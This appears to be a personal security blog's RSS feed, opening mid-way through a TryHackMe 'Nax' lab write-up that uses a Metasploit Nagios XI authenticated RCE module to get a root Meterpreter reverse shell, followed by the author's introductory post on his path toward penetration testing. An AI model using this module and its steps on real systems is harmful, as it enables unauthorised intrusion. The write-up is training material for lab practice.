class="kg-image" alt="THM - Nax" loading="lazy"><figcaption>Search result on exploit-db for Nagios</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-11.png" class="kg-image" alt="THM - Nax" loading="lazy"><figcaption>Details for the vulnerability on exploit-db</figcaption></figure><p>I used the CVE number from the search result as the answer for Question #5.</p><p>Question 6 isn&apos;t really a question, but more of an instruction on how to exploit this vulnerability. It suggests using Metasploit, which is handy as that was exactly what I was going to try anyway:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-12.png" class="kg-image" alt="THM - Nax" loading="lazy"><figcaption>Question #6</figcaption></figure><p>Question 7 asks for you to tell it what the path and name are for the Metasploit module you need to use to exploit the system. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-13.png" class="kg-image" alt="THM - Nax" loading="lazy"><figcaption>Question #7</figcaption></figure><p>Simply running <code>search 2019-15949</code> was all that was needed to locate the correct module:</p><figure class="kg-card kg-code-card"><pre><code>msf5 &gt; search 2019-15949

Matching Modules
================

   #  Name                                            Disclosure Date  Rank       Check  Description
   -  ----                                            ---------------  ----       -----  -----------
   0  exploit/linux/http/nagios_xi_authenticated_rce  2019-07-29       excellent  Yes    Nagios XI Authenticated Remote Command Execution
</code></pre><figcaption>Searching Metasploit for the correct module</figcaption></figure><p>Simply typing <code>use 0</code> into <code>msfconsole</code> and filling in the correct options was sufficient to break into the system:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-15.png" class="kg-image" alt="THM - Nax" loading="lazy"><figcaption>Module options for Metasploit</figcaption></figure><figure class="kg-card kg-code-card"><pre><code>msf5 exploit(linux/http/nagios_xi_authenticated_rce) &gt; run

[*] Started reverse TCP handler on 10.9.0.232:4444 
[*] Found Nagios XI application with version 5.5.6.
[*] Uploading malicious &apos;check_ping&apos; plugin...
[*] Command Stager progress - 100.00% done (897/897 bytes)
[+] Successfully uploaded plugin.
[*] Executing plugin...
[*] Waiting for the plugin to request the final payload...
[*] Sending stage (3012516 bytes) to 10.10.80.170
[*] Meterpreter session 1 opened (10.9.0.232:4444 -&gt; 10.10.80.170:33636) at 2020-05-25 20:50:31 +0100
[*] Deleting malicious &apos;check_ping&apos; plugin...
[+] Plugin deleted.

meterpreter &gt; getuid
Server username: no-user @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter &gt; </code></pre><figcaption>Running the Metasploit module</figcaption></figure><p>At this point we&apos;re in the system as the root user, so it&apos;s pretty much game-over for the server.</p><p>The last two questions can be simply answer by rummaging around the file system and viewing the contents of the files however you want:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-16.png" class="kg-image" alt="THM - Nax" loading="lazy"><figcaption>Questions #8 &amp; #9</figcaption></figure><h3 id="summary">Summary</h3><p>As I said at the beginning, I found this a very interesting room to complete and was rather pleased with myself that I managed to work it all out by myself.</p><p>I found it interesting that the username and password were encoded into the picture the way they were along with the use of chemical elements to lead you to the picture in the first place.</p><p>I doubt that any of these methods would actually be found in the wild on a real pen test engagement but stranger things have probably happened. When I get my skills up to the point where I&apos;m employed to complete pen tests, I&apos;ll happily report back if I find anything like this out there.</p><p>Thanks for taking the time to read this and hope it helped if you came here for assistance completing the room.</p>]]></content:encoded></item><item><title><![CDATA[We've all got to start somewhere]]></title><description><![CDATA[<p>Hi, I&apos;m Ceisc, and this is my first attempt to make a blog. My motivation for this blog is to track my journey from where I am now to where I&apos;m hoping to be. </p><p>A little background first:</p><h2 id="background">Background</h2><figure class="kg-card kg-image-card"><img src="https://ceisc.co.uk/content/images/2020/05/image.png" class="kg-image" alt loading="lazy"></figure><p>From quite an early age I&apos;</p>]]></description><link>https://ceisc.co.uk/weve-all-got-to-start-somewhere/</link><guid isPermaLink="false">5ecba9fd4f11db03cd1b89d7</guid><category><![CDATA[hacking]]></category><category><![CDATA[learning-career]]></category><dc:creator><![CDATA[Ceisc]]></dc:creator><pubDate>Mon, 25 May 2020 12:43:22 GMT</pubDate><media:content url="https://ceisc.co.uk/content/images/2020/05/photo-1529465230221-a0d10e46fcbb.jpeg" medium="image"/><content:encoded><![CDATA[<img src="https://ceisc.co.uk/content/images/2020/05/photo-1529465230221-a0d10e46fcbb.jpeg" alt="We&apos;ve all got to start somewhere"><p>Hi, I&apos;m Ceisc, and this is my first attempt to make a blog. My motivation for this blog is to track my journey from where I am now to where I&apos;m hoping to be. </p><p>A little background first:</p><h2 id="background">Background</h2><figure class="kg-card kg-image-card"><img src="https://ceisc.co.uk/content/images/2020/05/image.png" class="kg-image" alt="We&apos;ve all got to start somewhere" loading="lazy"></figure><p>From quite an early age I&apos;ve had a deep fascination with technology and computers. It all started when my parents bought me and my sister a Sinclair ZX Spectrum +2.</p><p>Initially it was used for playing games - there were some awesome games we had for it (awesome, at least, for a young child who&apos;d not had much exposure to computers before). I remember playing Bomber Bob (in Pentagon Capers) for many an hour. I&apos;m resisting the temptation to find and play it online as I fear that it won&apos;t be quite the same as it was.</p><p>My parents got me a subscription to a Spectrum based magazine and in it there were snippets of BASIC code to follow along with any information on how to cheat at some of the games, using PEEK and POKE commands, I believe (My memory is a bit fuzzy on this - it was quite some time back).</p><p>Using this, I got my first taste of computer programming and was in love with it. I&apos;d only created some very basic programs, some little more than printing content to the screen in a loop or drawing a flag on the screen. We borrowed some books from the library which contained source code for a choose your own adventure type game. I don&apos;t believe that I ever completed writing one out for the machine, but looking through the code taught me quite a deal. In order not to spoil the content of the game, they&apos;d used some basic form of obfuscation on the text elements of game. I spent some time working out how it was obscured and manually translating it back into something readable.</p><p>Around this time, one of my dad&apos;s friend&apos;s sons started writing his own code for a Spectrum 48K and was generous enough to give me a copy of his game. It was a relatively simple baseball game where you fed instructions to the players on how they should try to hit the ball and then you&apos;d watch the animation of the ball being pitched toward the player and then flying off, hopefully in the direction you&apos;d instructed. The game was written in BASIC and, although I never managed to make any significant changes to it, it showed me the possibilities of what you can do with a computer.</p><p>The Spectrum was a much used part of my early childhood. It got so much use that some of the controls for the tape player broke off - we ended up having to use the handle of a teaspoon to activate the tape player to load games.</p><p>After a few years of using the Spectrum I asked my parents to buy me my own computer for Christmas. They agreed to buy the computer itself but said that I&apos;d need to pay for the monitor for it myself (I think they&apos;d got fed up of my continuous use of the only television which we had in the house at the time). So the fateful day arrived and the last present I was allowed to open up was my brand new Amiga 600 complete with monitor (I would be paying off the cost of the monitor over the next few months from my pocket money). It featured new things which I&apos;d seen before but not actually owned - such as a floppy drive. Much quicker and easier than the tape drive on the Spectrum and I no longer required spoons to load up new games.</p><p>There were some awesome games to be played on the Amiga. I spent a large amount of time playing Knights of the Sky, Lemmings 2, and Dune. I also discovered that the Amiga was programmable with the right tools. I got hold of a basic copy of AMOS and started using that. I believe, at the time, AMOS was derided as not being a &apos;proper&apos; language/platform on which to program but I didn&apos;t care - I had a way of controlling the computer to get it to do things I wanted it to do. AMOS also introduced me to the frustrations some development environments give you. There was a keyboard shortcut which enabled you to delete a whole line of code which was remarkably close to the buttons you needed to press to delete the last character you typed - I lost track of the number of times I had to rewrite lines due to making a trivial mistake and then compounding it by deleting the line rather than just the character.</p><p>With the Amiga and AMOS, I never created any masterpieces. Despite this it continued to develop my interest in, and love for, controlling computers through code.</p><p>Spin on a few years and we get to the point where I got full time access to a PC. It was a 486 which my friend had lent to me. I can&apos;t remember the full spec on it, but it, again, gave me access to try my hand at programming on a different system. I started trying to learn Java with a view to converting a two-player choose your own adventure book game which I&apos;d previously played. I also, at this time, started looking into assembly language.</p><p>I went off to university at the age of 18, embarking on a Software Engineering degree. Most of the course involved using Java and, as a side project, I developed some games in Java Applets running in IE using bindings for OpenGL.</p><p>Whilst at university I found an interest in doing things with computers which were not intended by the owners of the machines. For example, I found that the web server used by the learning establishment I was at had an open share to the root of the web content. I also discovered that it would run any executable I dumped in one of the folders when accessed through the website. I went off and built a nice executable which I could provide parameters to which would allow me to browse around the file system of the machine (and not just what was being exposed from the open share I&apos;d found).</p><p>Obviously, looking back at this time, I realise that I really shouldn&apos;t have been doing these things without authorisation. Still, it gave me a taste of hacking and I discovered it was something which gave me a thrill and gave me enough of a mental challenge to keep me interested in doing such things.</p><p>After university, I got my first job working in IT. The role was basically a tech support role, but I quickly turned it around into a mix of tech support and software development, having found a way to massively streamline the main system the company used. </p><p>From here, I&apos;ve had a few jobs in the IT field. From the tech support/development job I moved into a couple of pure software development jobs and my current job is running an IT team and developing any software the business requires to keep things running.</p><h2 id="going-forward">Going Forward</h2><p>Over the past few years I have spent quite a lot of time reverse engineering/decompiling code in order to get my code to integrate into and enhance systems which weren&apos;t necessarily meant to be integrated with. I&apos;ve also spent quite a lot of time looking into how to secure the assets which the companies I&apos;ve worked for have to try to stop malicious parties getting in.</p><p>I&apos;ve really enjoyed and been challenged by the processes around IT security and reversing software and have come to the conclusion I would like to move my career more in that direction.</p><p>As such, my plan now is to ramp up my skills and knowledge in the realm of InfoSec with a view to moving my career away from the SysAdmin side of things (which I kind of enjoy, but not as much as I&apos;d like) and more into full time security work.</p><p>I recently started looking at CTFs along with sites like T<a href="https://tryhackme.com/?ref=ceisc.co.uk">ryHackMe</a> and <a href="https://hackthebox.eu/?ref=ceisc.co.uk">HackTheBox</a> and have really enjoyed what they offer and the skills which they are teaching me. I&apos;ve also started following various InfoSec professionals/companies on Twitter to gain as much knowledge as I can.</p><p>A lot of what I have learned recently has been where there are gaps in my knowledge and what I need to start looking for resources for going forward. I&apos;m very much looking forward to furthering my knowledge in these areas and hope to be able to compete better at the CTFs going forward.</p><h2 id="roadmap">Roadmap</h2><p>My current plan to further educate myself and to be able to demonstrate my knowledge in the InfoSec arena is as follows:</p><ul><li>Complete all the rooms on TryHackMe </li><li>Complete all the boxes on HackTheBox</li><li>Study for and complete the OSCP (Offensive Security Certified Professional)</li><li>Potentially look into doing the OSCE (Offensive Security Certified Expert)</li></ul><p>Whilst working my way through this roadmap I intend to write up a lot of what I do on this blog. The reasons for this are:</p><ul><li>To cement any knowledge I&apos;ve acquired by forcing myself into turning the thoughts into writing</li><li>To remind myself how I have done things</li><li>To show myself what I&apos;ve done and how far I&apos;ve come (I have a tendency to forget successes and focus on failures, and so I feel that I need this from the point of view of my mental health when I come up against obstacles)</li><li>To improve my ability to write</li><li>Potentially to assist other people who are following a similar path</li></ul><p>I think that just about wraps up where I&apos;ve come from, where I am, what I&apos;m doing and where I&apos;m going, along with why I&apos;ve decided to start blogging about it.</p><p>Thanks to everyone for reading this far. Hopefully you&apos;ll come back for the next instalment of this blog once I have something else to write about (which will most likely be a write-up for either a CTF of a TryHackMe challenge).</p>]]></content:encoded></item></channel></rss>